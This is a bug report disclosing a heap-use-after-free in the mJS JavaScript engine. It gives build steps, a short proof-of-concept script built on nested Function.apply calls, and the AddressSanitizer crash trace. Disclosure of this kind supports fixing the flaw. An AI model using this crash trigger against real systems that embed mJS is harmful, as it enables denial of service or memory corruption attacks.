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hope-fly opened this issue

Dec 31, 2021

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mJS revision

Commit: b1b6eac

Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)

Build steps

vim Makefile DOCKER_GCC=gcc $(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)

save the makefile then make

make

Test casepoc.js

function T(f) {}
function JSEtest(b) {
  T.apply.apply(T.apply, []);

  if (b < 10)
    JSEtest(T.apply, []);
}
JSEtest(0);

Execution steps & Output

$ ./mjs/build/mjs poc.js

======ERROR: AddressSanitizer: heap-use-after-free on address 0x6040000000f8 at pc 0x5590f9ee05d6 bp 0x7fff0f0dc5b0 sp 0x7fff0f0dc5a0 READ of size 8 at 0x6040000000f8 thread T0 #0 0x5590f9ee05d5 in mjs_apply src/mjs_exec.c:1156 #1 0x5590f9ee08d4 in mjs_apply_ src/mjs_exec.c:515 #2 0x5590f9ed4244 in mjs_execute src/mjs_exec.c:853 #3 0x5590f9edda05 in mjs_exec_internal src/mjs_exec.c:1073 #4 0x5590f9edda05 in mjs_exec_file src/mjs_exec.c:1096 #5 0x5590f9e9a909 in main src/mjs_main.c:47 #6 0x7f009363db96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #7 0x5590f9e9b449 in _start (/usr/local/bin/Gmjs+0xe449)

0x6040000000f8 is located 40 bytes inside of 48-byte region [0x6040000000d0,0x604000000100) freed by thread T0 here: #0 0x7f0093ceff30 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdef30) #1 0x5590f9facdf8 in mbuf_insert src/common/mbuf.c:90

previously allocated by thread T0 here: #0 0x7f0093ceff30 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdef30) #1 0x5590f9facdf8 in mbuf_insert src/common/mbuf.c:90

SUMMARY: AddressSanitizer: heap-use-after-free src/mjs_exec.c:1156 in mjs_apply Shadow bytes around the buggy address: 0x0c087fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c087fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c087fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c087fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c087fff8000: fa fa fd fd fd fd fd fd fa fa 00 00 00 00 00 00 =>0x0c087fff8010: fa fa fd fd fd fd fd fd fa fa fd fd fd fd fd[fd] 0x0c087fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c087fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c087fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c087fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c087fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb

Credits: Found by OWL337 team.

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